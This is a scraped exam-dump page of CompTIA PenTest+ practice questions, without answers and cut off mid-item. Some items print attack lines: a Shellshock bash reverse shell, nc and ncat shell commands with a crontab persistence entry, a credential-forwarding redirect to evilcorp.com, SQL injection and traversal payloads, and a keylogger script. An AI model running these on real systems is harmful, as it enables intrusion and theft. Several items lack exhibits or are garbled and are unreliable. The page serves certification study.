Labour Day Special - Limited Time 65% Discount Offer - Ends in 0d 00h 00m 00s - Coupon code: top65certs

CompTIA PT0-002 Dumps

Page: 1 / 30
Total 400 questions

CompTIA PenTest+ Certification Exam Questions and Answers

Question 1

Given the following output:

User-agent:*

Disallow: /author/

Disallow: /xmlrpc.php

Disallow: /wp-admin

Disallow: /page/

During which of the following activities was this output MOST likely obtained?

Options:

A.

Website scraping

B.

Website cloning

C.

Domain enumeration

D.

URL enumeration

Question 2

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

Options:

A.

nmap -sT -vvv -O 192.168.1.2/24 -PO

B.

nmap -sV 192.168.1.2/24 -PO

C.

nmap -sA -v -O 192.168.1.2/24

D.

nmap -sS -O 192.168.1.2/24 -T1

Question 3

A penetration tester ran an Nmap scan on an Internet-facing network device with the –F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:

nmap –O –A –sS –p- 100.100.100.50

Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?

Options:

A.

A firewall or IPS blocked the scan.

B.

The penetration tester used unsupported flags.

C.

The edge network device was disconnected.

D.

The scan returned ICMP echo replies.

Question 4

A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

Options:

A.

Hashcat

B.

Mimikatz

C.

Patator

D.

John the Ripper

Question 5

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client’s new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.

Which of the following is most important for the penetration tester to define FIRST?

Options:

A.

Establish the format required by the client.

B.

Establish the threshold of risk to escalate to the client immediately.

C.

Establish the method of potential false positives.

D.

Establish the preferred day of the week for reporting.

Question 6

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client’s IP address. The tester later discovered the SOC had used sinkholing on the penetration tester’s IP address. Which of the following BEST describes what happened?

Options:

A.

The penetration tester was testing the wrong assets

B.

The planning process failed to ensure all teams were notified

C.

The client was not ready for the assessment to start

D.

The penetration tester had incorrect contact information

Question 7

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

Options:

A.

Reach out to the primary point of contact

B.

Try to take down the attackers

C.

Call law enforcement officials immediately

D.

Collect the proper evidence and add to the final report

Question 8

Which of the following tools provides Python classes for interacting with network protocols?

Options:

A.

Responder

B.

Impacket

C.

Empire

D.

PowerSploit

Question 9

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

Options:

A.

Create a one-shot system service to establish a reverse shell.

B.

Obtain /etc/shadow and brute force the root password.

C.

Run the nc -e /bin/sh <...> command.

D.

Move laterally to create a user account on LDAP

Question 10

A penetration tester ran a ping –A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?

Options:

A.

Windows

B.

Apple

C.

Linux

D.

Android

Question 11

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

Options:

A.

OpenVAS

B.

Drozer

C.

Burp Suite

D.

OWASP ZAP

Question 12

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

exploits = {“User-Agent”: “() { ignored;};/bin/bash –i>& /dev/tcp/127.0.0.1/9090 0>&1”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

Options:

A.

exploits = {“User-Agent”: “() { ignored;};/bin/bash –i id;whoami”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

B.

exploits = {“User-Agent”: “() { ignored;};/bin/bash –i>& find / -perm -4000”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

C.

exploits = {“User-Agent”: “() { ignored;};/bin/sh –i ps –ef” 0>&1”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

D.

exploits = {“User-Agent”: “() { ignored;};/bin/bash –i>& /dev/tcp/10.10.1.1/80” 0>&1”, “Accept”: “text/html,application/xhtml+xml,application/xml”}

Question 13

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

Options:

A.

Aircrack-ng

B.

Wireshark

C.

Wifite

D.

Kismet

Question 14

The results of an Nmap scan are as follows:

Which of the following would be the BEST conclusion about this device?

Options:

A.

This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.

B.

This device is most likely a gateway with in-band management services.

C.

This device is most likely a proxy server forwarding requests over TCP/443.

D.

This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Question 15

A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

Options:

A.

Direct-to-origin

B.

Cross-site scripting

C.

Malware injection

D.

Credential harvesting

Question 16

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

Options:

A.

Implement a recurring cybersecurity awareness education program for all users.

B.

Implement multifactor authentication on all corporate applications.

C.

Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.

D.

Implement an email security gateway to block spam and malware from email communications.

Question 17

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees’ phone numbers on the company’s website, the tester has learned the complete phone catalog was published there a few months ago.

In which of the following places should the penetration tester look FIRST for the employees’ numbers?

Options:

A.

Web archive

B.

GitHub

C.

File metadata

D.

Underground forums

Question 18

A penetration tester performs the following command:

curl –I –http2

Which of the following snippets of output will the tester MOST likely receive?

Options:

A.

Option A

B.

Option B

C.

Option C

D.

Option D

Question 19

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.

Which of the following should the tester verify FIRST to assess this risk?

Options:

A.

Whether sensitive client data is publicly accessible

B.

Whether the connection between the cloud and the client is secure

C.

Whether the client's employees are trained properly to use the platform

D.

Whether the cloud applications were developed using a secure SDLC

Question 20

A tester who is performing a penetration test on a website receives the following output:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62

Which of the following commands can be used to further attack the website?

Options:

A.

B.

../../../../../../../../../../etc/passwd

C.

/var/www/html/index.php;whoami

D.

1 UNION SELECT 1, DATABASE(),3--

Question 21

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

Options:

A.

Acceptance by the client and sign-off on the final report

B.

Scheduling of follow-up actions and retesting

C.

Attestation of findings and delivery of the report

D.

Review of the lessons learned during the engagement

Question 22

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

Options:

A.

John the Ripper

B.

Hydra

C.

Mimikatz

D.

Cain and Abel

Question 23

A penetration tester has been given eight business hours to gain access to a client’s financial system. Which of the following techniques will have the highest likelihood of success?

Options:

A.

Attempting to tailgate an employee going into the client's workplace

B.

Dropping a malicious USB key with the company’s logo in the parking lot

C.

Using a brute-force attack against the external perimeter to gain a foothold

D.

Performing spear phishing against employees by posing as senior management

Question 24

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

Options:

A.

will reveal vulnerabilities in the Modbus protocol.

B.

may cause unintended failures in control systems.

C.

may reduce the true positive rate of findings.

D.

will create a denial-of-service condition on the IP networks.

Question 25

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

Options:

A.

MD5

B.

bcrypt

C.

SHA-1

D.

PBKDF2

Question 26

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client’s laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

Options:

A.

schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe

B.

wmic startup get caption,command

C.

crontab –l; echo “@reboot sleep 200 && ncat –lvp 4242 –e /bin/bash”) | crontab 2>/dev/null

D.

sudo useradd –ou 0 –g 0 user

Question 27

A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company’s network. Which of the following accounts should the tester use to return the MOST results?

Options:

A.

Root user

B.

Local administrator

C.

Service

D.

Network administrator

Question 28

Which of the following BEST describe the OWASP Top 10? (Choose two.)

Options:

A.

The most critical risks of web applications

B.

A list of all the risks of web applications

C.

The risks defined in order of importance

D.

A web-application security standard

E.

A risk-governance and compliance framework

F.

A checklist of Apache vulnerabilities

Question 29

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Options:

Question 30

A penetration tester writes the following script:

Which of the following objectives is the tester attempting to achieve?

Options:

A.

Determine active hosts on the network.

B.

Set the TTL of ping packets for stealth.

C.

Fill the ARP table of the networked devices.

D.

Scan the system on the most used ports.

Question 31

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

Options:

A.

The penetration tester conducts a retest.

B.

The penetration tester deletes all scripts from the client machines.

C.

The client applies patches to the systems.

D.

The client clears system logs generated during the test.

Question 32

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

Options:

A.

Clarify the statement of work.

B.

Obtain an asset inventory from the client.

C.

Interview all stakeholders.

D.

Identify all third parties involved.

Question 33

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company’s web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

Options:

A.

IP addresses and subdomains

B.

Zone transfers

C.

DNS forward and reverse lookups

D.

Internet search engines

E.

Externally facing open ports

F.

Shodan results

Question 34

A penetration tester conducted a discovery scan that generated the following:

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

Options:

A.

nmap –oG list.txt 192.168.0.1-254 , sort

B.

nmap –sn 192.168.0.1-254 , grep “Nmap scan” | awk ‘{print S5}’

C.

nmap –-open 192.168.0.1-254, uniq

D.

nmap –o 192.168.0.1-254, cut –f 2

Question 35

A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

Options:

A.

Alternate data streams

B.

PowerShell modules

C.

MP4 steganography

D.

PsExec

Question 36

A penetration tester runs the following command on a system:

find / -user root –perm -4000 –print 2>/dev/null

Which of the following is the tester trying to accomplish?

Options:

A.

Set the SGID on all files in the / directory

B.

Find the /root directory on the system

C.

Find files with the SUID bit set

D.

Find files that were created during exploitation and move them to /dev/null

Question 37

A penetration tester wants to scan a target network without being detected by the client’s IDS. Which of the following scans is MOST likely to avoid detection?

Options:

A.

nmap –p0 –T0 –sS 192.168.1.10

B.

nmap –sA –sV --host-timeout 60 192.168.1.10

C.

nmap –f --badsum 192.168.1.10

D.

nmap –A –n 192.168.1.10

Question 38

A consulting company is completing the ROE during scoping.

Which of the following should be included in the ROE?

Options:

A.

Cost ofthe assessment

B.

Report distribution

C.

Testing restrictions

D.

Liability

Question 39

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

Options:

A.

Weekly

B.

Monthly

C.

Quarterly

D.

Annually

Question 40

A penetration tester is reviewing the following SOW prior to engaging with a client:

“Network diagrams, logical and physical asset inventory, and employees’ names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client’s Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.”

Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

Options:

A.

Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection

B.

Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the

engagement

C.

Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client’s senior leadership team

D.

Seeking help with the engagement in underground hacker forums by sharing the client’s public IP address

E.

Using a software-based erase tool to wipe the client’s findings from the penetration tester’s laptop

F.

Retaining the SOW within the penetration tester’s company for future use so the sales team can plan future engagements

Question 41

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

Options:

A.

Executive summary

B.

Remediation

C.

Methodology

D.

Metrics and measures

Question 42

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

Options:

A.

An unknown-environment assessment

B.

A known-environment assessment

C.

A red-team assessment

D.

A compliance-based assessment

Question 43

After compromising a system, a penetration tester wants more information in order to decide what actions to take next. The tester runs the following commands:

Which of the following attacks is the penetration tester most likely trying to perform?

Options:

A.

Metadata service attack

B.

Container escape techniques

C.

Credential harvesting

D.

Resource exhaustion

Question 44

During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

Options:

A.

Mask

B.

Rainbow

C.

Dictionary

D.

Password spraying

Question 45

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

Options:

A.

Nmap

B.

Nikto

C.

Cain and Abel

D.

Ethercap

Question 46

When accessing the URL a penetration tester obtained the following output:

..d index: eid in /apache/www/validate/user.php line 12

..d index: uid in /apache/www/validate/user.php line 13

..d index: pw in /apache/www/validate/user.php line 14

..d index: acl in /apache/www/validate/user.php line 15

Options:

A.

Lack of code signing

B.

Incorrect command syntax

C.

Insufficient error handling

D.

Insecure data transmission

Question 47

A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

Options:

A.

Launch an external scan of netblocks.

B.

Check WHOIS and netblock records for the company.

C.

Use DNS lookups and dig to determine the external hosts.

D.

Conduct a ping sweep of the company's netblocks.

Question 48

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

Options:

A.

MSA

B.

NDA

C.

SOW

D.

ROE

Question 49

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the

following is the BEST option for the tester to take?

Options:

A.

Segment the firewall from the cloud.

B.

Scan the firewall for vulnerabilities.

C.

Notify the client about the firewall.

D.

Apply patches to the firewall.

Question 50

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

Options:

A.

Asset inventory

B.

DNS records

C.

Web-application scan

D.

Full scan

Question 51

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal

Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

Which of the following would be the BEST command to use for further progress into the targeted network?

Options:

A.

nc 10.10.1.2

B.

ssh 10.10.1.2

C.

nc 127.0.0.1 5555

D.

ssh 127.0.0.1 5555

Question 52

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

Options:

A.

Deny that the vulnerability existed

B.

Investigate the penetration tester.

C.

Accept that the client was right.

D.

Fire the penetration tester.

Question 53

A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

Options:

A.

Maximizing the likelihood of finding vulnerabilities

B.

Reprioritizing the goals/objectives

C.

Eliminating the potential for false positives

D.

Reducing the risk to the client environment

Question 54

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

Options:

A.

Prying the lock open on the records room

B.

Climbing in an open window of the adjoining building

C.

Presenting a false employee ID to the night guard

D.

Obstructing the motion sensors in the hallway of the records room

Question 55

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

IP Address: 192.168.1.63

Physical Address: 60-36-dd-a6-c5-33

Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

Options:

A.

tcpdump -i eth01 arp and arp[6:2] == 2

B.

arp -s 192.168.1.63 60-36-DD-A6-C5-33

C.

ipconfig /all findstr /v 00-00-00 | findstr Physical

D.

route add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1

Question 56

An Nmap scan of a network switch reveals the following:

Which of the following technical controls will most likely be the FIRST recommendation for this device?

Options:

A.

Encrypted passwords

B.

System-hardening techniques

C.

Multifactor authentication

D.

Network segmentation

Question 57

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

Options:

A.

Dictionary

B.

Directory

C.

Symlink

D.

Catalog

E.

For-loop

Question 58

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

Which of the following lines of code should the security engineer add to make the attack successful?

Options:

A.

window.location.= 'https://evilcorp.com '

B.

crossDomain: true

C.

geturlparameter ('username')

D.

redirectUrl = 'https://example.com '

Question 59

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the:

Options:

A.

NDA

B.

SLA

C.

MSA

D.

SOW

Question 60

A penetration tester is conducting an Nmap scan and wants to scan for ports without establishing a connection. The tester also wants to find version data information for services running on Projects. Which of the following Nmap commands should the tester use?

Options:

A.

..nmap -sU -sV -T4 -F target.company.com

B.

..nmap -sS -sV -F target.company.com

C.

..nmap -sT -v -T5 target.company.com

D.

..nmap -sX -sC target.company.com

Question 61

During a web application test, a penetration tester was able to navigate to and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

Options:

A.

The SSL certificates were invalid.

B.

The tester IP was blocked.

C.

The scanner crashed the system.

D.

The web page was not found.

Question 62

A penetration tester is conducting an unknown environment test and gathering additional information that can be used for later stages of an assessment. Which of the following would most likely produce useful information for additional testing?

Options:

A.

Searching for code repositories associated with a developer who previously worked for the target company code repositories associated with the

B.

Searching for code repositories target company's organization

C.

Searching for code repositories associated with the target company's organization

D.

Searching for code repositories associated with a developer who previously worked for the target company

Question 63

A penetration tester gains access to a system and is able to migrate to a user process:

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

Options:

A.

Redirecting output from a file to a remote system

B.

Building a scheduled task for execution

C.

Mapping a share to a remote system

D.

Executing a file on the remote system

E.

Creating a new process on all domain systems

F.

Setting up a reverse shell from a remote system

G.

Adding an additional IP address on the compromised system

Question 64

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network.

Which of the following methods will MOST likely work?

Options:

A.

Try to obtain the private key used for S/MIME from the CEO's account.

B.

Send an email from the CEO's account, requesting a new account.

C.

Move laterally from the mail server to the domain controller.

D.

Attempt to escalate privileges on the mail server to gain root access.

Question 65

A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

Options:

A.

OWASP Top 10

B.

MITRE ATT&CK framework

C.

NIST Cybersecurity Framework

D.

The Diamond Model of Intrusion Analysis

Question 66

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

Options:

A.

Nessus

B.

Metasploit

C.

Burp Suite

D.

Ethercap

Question 67

A penetration tester writes the following script:

Which of the following is the tester performing?

Options:

A.

Searching for service vulnerabilities

B.

Trying to recover a lost bind shell

C.

Building a reverse shell listening on specified ports

D.

Scanning a network for specific open ports

Question 68

A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

Options:

A.

The tester had the situational awareness to stop the transfer.

B.

The tester found evidence of prior compromise within the data set.

C.

The tester completed the assigned part of the assessment workflow.

D.

The tester reached the end of the assessment time frame.

Question 69

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

DELAY '00:00:05'

Which of the following should the penetration tester attempt NEXT?

Question 70

During the reconnaissance phase, a penetration tester obtains the following output:

Reply from 192.168.1.23: bytes=32 time<54ms TTL=128

Reply from 192.168.1.23: bytes=32 time<53ms TTL=128

Reply from 192.168.1.23: bytes=32 time<60ms TTL=128

Reply from 192.168.1.23: bytes=32 time<51ms TTL=128

Which of the following operating systems is MOST likely installed on the host?

Options:

A.

Linux

B.

NetBSD

C.

Windows

D.

macOS

Question 71

A penetration tester captured the following traffic during a web-application test:

Which of the following methods should the tester use to visualize the authorization information being transmitted?

Options:

A.

Decode the authorization header using UTF-8.

B.

Decrypt the authorization header using bcrypt.

C.

Decode the authorization header using Base64.

D.

Decrypt the authorization header using AES.

Question 72

A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?

Options:

A.

Perform a new penetration test.

B.

Remediate the findings.

C.

Provide the list of common vulnerabilities and exposures.

D.

Broaden the scope of the penetration test.

Question 73

While performing the scanning phase of a penetration test, the penetration tester runs the following command:

........v -sV -p- 10.10.10.23-28

....ip scan is finished, the penetration tester notices all hosts seem to be down. Which of the following options should the penetration tester try next?

Options:

A.

-su

B.

-pn

C.

-sn

D.

-ss

Question 74

An organization wants to identify whether a less secure protocol is being utilized on a wireless network. Which of the following types of attacks will achieve this goal?

Options:

A.

Protocol negotiation

B.

Packet sniffing

C.

Four-way handshake

D.

Downgrade attack

Question 75

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

Options:

A.

SOW

B.

SLA

C.

MSA

D.

NDA

Question 76

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

Options:

A.

Credential harvesting

B.

Privilege escalation

C.

Password spraying

D.

Domain record abuse

Question 77

Given the following code:

Which of the following data structures is systems?

Options:

A.

A tuple

B.

A tree

C.

An array

D.

A dictionary

Question 78

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

Options:

A.

Scraping social media for personal details

B.

Registering domain names that are similar to the target company's

C.

Identifying technical contacts at the company

D.

Crawling the company's website for company information

Question 79

Which of the following OSSTM testing methodologies should be used to test under the worst conditions?

Options:

A.

Tandem

B.

Reversal

C.

Semi-authorized

D.

Known environment

Question 80

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

Options:

A.

windows/x64/meterpreter/reverse_tcp

B.

windows/x64/meterpreter/reverse_http

C.

windows/x64/shell_reverse_tcp

D.

windows/x64/powershell_reverse_tcp

E.

windows/x64/meterpreter/reverse_https

Question 81

Which of the following is most important to include in the final report of a static application-security test that was written with a team of application developers as the intended audience?

Options:

A.

Executive summary of the penetration-testing methods used

B.

Bill of materials including supplies, subcontracts, and costs incurred during assessment

C.

Quantitative impact assessments given a successful software compromise

D.

Code context for instances of unsafe typecasting operations

Question 82

A penetration tester is conducting a test after hours and notices a critical system was taken down. Which of the following contacts should be notified first?

Options:

A.

Secondary

B.

Emergency

C.

Technical

D.

Primary

Question 83

During a code review assessment, a penetration tester finds the following vulnerable code inside one of the web application files:

<% String id = request.getParameter("id"); %>

Employee ID: <%= id %>

Which of the following is the best remediation to prevent a vulnerability from being exploited, based on this code?

Options:

A.

Parameterized queries

B.

Patch application

C.

Output encoding

Question 84

A security analyst is conducting an unknown environment test from 192.168 3.3. The analyst wants to limit observation of the penetration tester's activities and lower the probability of detection by intrusion protection and detection systems. Which of the following Nmap commands should the analyst use to achieve This objective?

Options:

A.

Nmap –F 192.168.5.5

B.

Map –datalength 2.192.168.5.5

C.

Nmap –D 10.5.2.2.168.5.5

D.

Map –scanflags SYNFIN 192.168.5.5

Question 85

A penetration tester uses Hashcat to crack hashes discovered during a penetration test and obtains the following output:

ad09cd16529b5f5a40a3e15344e57649f4a43a267a97f008af01af803603c4c8 : Summer2023 !!

7945bb2bb08731fc8d57680ffa4aefec91c784d231de029c610b778eda5ef48b:p@ssWord123

ea88ceab69cb2fb8bdcf9ef4df884af219fffbffab473ec13f20326dc6f84d13: Love-You999

Which of the following is the best way to remediate the penetration tester's discovery?

Options:

A.

Requiring passwords to follow complexity rules

B.

Implementing a blocklist of known bad passwords

C.

Setting the minimum password length to ten characters

D.

Encrypting the passwords with a stronger algorithm

Question 86

During a security assessment of a web application, a penetration tester was able to generate the following application response:

Unclosed quotation mark after the character string Incorrect syntax near ".

Which of the following is the most probable finding?

Options:

A.

SQL injection

B.

Cross-site scripting

C.

Business logic flaw

D.

Race condition

Question 87

A penetration tester managed to exploit a vulnerability using the following payload:

IF (1=1) WAIT FOR DELAY '0:0:15'

Which of the following actions would best mitigate this type ol attack?

Options:

A.

Encrypting passwords

B.

Parameterizing queries

C.

Encoding output

D.

Sanitizing HTML

Question 88

Which of the following would be the most efficient way to write a Python script that interacts with a web application?

Options:

A.

Create a class for requests.

B.

Write a function for requests.

C.

Import the requests library.

D.

Use the cURL OS command.

Question 89

A penetration tester wrote the following script on a compromised system:

#!/bin/bash

network='10.100.100'

ports='22 23 80 443'

for x in {1 .. 254};

do (nc -zv $network.$x $ports );

done

Which of the following would explain using this script instead of another tool?

Options:

A.

The typical tools could not be used against Windows systems.

B.

The configuration required the penetration tester to not utilize additional files.

C.

The Bash script will provide more thorough output.

D.

The penetration tester wanted to persist this script to run on reboot.

Question 90

During a test of a custom-built web application, a penetration tester identifies several vulnerabilities. Which of the following would be the most interested in the steps to reproduce these vulnerabilities?

Options:

A.

Operations staff

B.

Developers

C.

Third-party stakeholders

D.

C-suite executives

Question 91

A penetration tester is conducting an assessment on 192.168.1.112. Given the following output:

Which of the following is the penetration tester conducting?

Options:

A.

Port scan

B.

Brute force

C.

Credential stuffing

D.

DoS attack

Question 92

During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:

import pyHook, sys, logging, pythoncom, datetime

log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event):

logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii)

logging.log(10, chr(event.Ascii))

return True

hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = KbrdEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Which of the following is the intended effect of this script?

Options:

A.

Debugging an exploit

B.

Keylogging

C.

Collecting logs

D.

Scheduling tasks

Question 93

As part of an active reconnaissance, a penetration tester intercepts and analyzes network traffic, including API requests and responses. Which of the following can be gained by capturing and examining the API traffic?

Options:

A.

Assessing the performance of the network's API communication

B.

Identifying the token/authentication detail

C.

Enumerating all users of the application

D.

Extracting confidential user data from the intercepted API responses

Question 94

In Java and C/C++, variable initialization is critical because:

Options:

A.

the unknown value, when used later, will cause unexpected behavior.

B.

the compiler will assign null to the variable, which will cause warnings and errors.

C.

the initial state of the variable creates a race condition.

D.

the variable will not have an object type assigned to it.

Question 95

A security engineer is trying to bypass a network IPS that isolates the source when the scan exceeds 100 packets per minute. The scope of the scan is to identify web servers in the 10.0.0.0/16 subnet.

Which of the following commands should the engineer use to achieve the objective in the least amount of time?

Options:

A.

nmap -T3 -p 80 10.0.0.0/16 -- max-hostgroup 100

B.

nmap -TO -p 80 10.0.0.0/16

C.

nmap -T4 -p 80 10.0.0.0/16 -- max-rate 60

D.

nmap -T5 -p 80 10.0.0.0/16 -- min-rate 80

Question 96

A penetration tester is looking for a particular type of service and obtains the output below:

I Target is synchronized with 127.127.38.0 (reference clock)

I Alternative Target Interfaces:

I 10.17.4.20

I Private Servers (0)

I Public Servers (0)

I Private Peers (0)

I Public Peers (0)

I Private Clients (2)

I 10.20.8.69 169.254.138.63

I Public Clients (597)

I 4.79.17.248 68.70.72.194 74.247.37.194 99.190.119.152

I 12.10.160.20 68.80.36.133 75.1.39.42 108.7.58.118

I 68.56.205.98

I 2001:1400:0:0:0:0:0:1 2001:16d8:ddOO:38:0:0:0:2

I 2002:db5a:bccd:l:21d:e0ff:feb7:b96f 2002:b6ef:81c4:0:0:1145:59c5:3682

I Other Associations (1)

|_ 127.0.0.1 seen 1949869 times, last tx was unicast v2 mode 7

Which of the following commands was executed by the tester?

Options:

A.

nmap-sU-pU:517-Pn-n—script=supermicro-ipmi-config

B.

nmap-sU-pU:123-Pn-n—script=ntp-monlist

C.

nmap-sU-pU:161-Pn-n—script«voldemort-info

D.

nmap-sU-pU:37 -Pn -n —script=icap-info

Question 97

After successfully compromising a remote host, a security consultant notices an endpoint protection software is running on the host. Which of the following commands would be

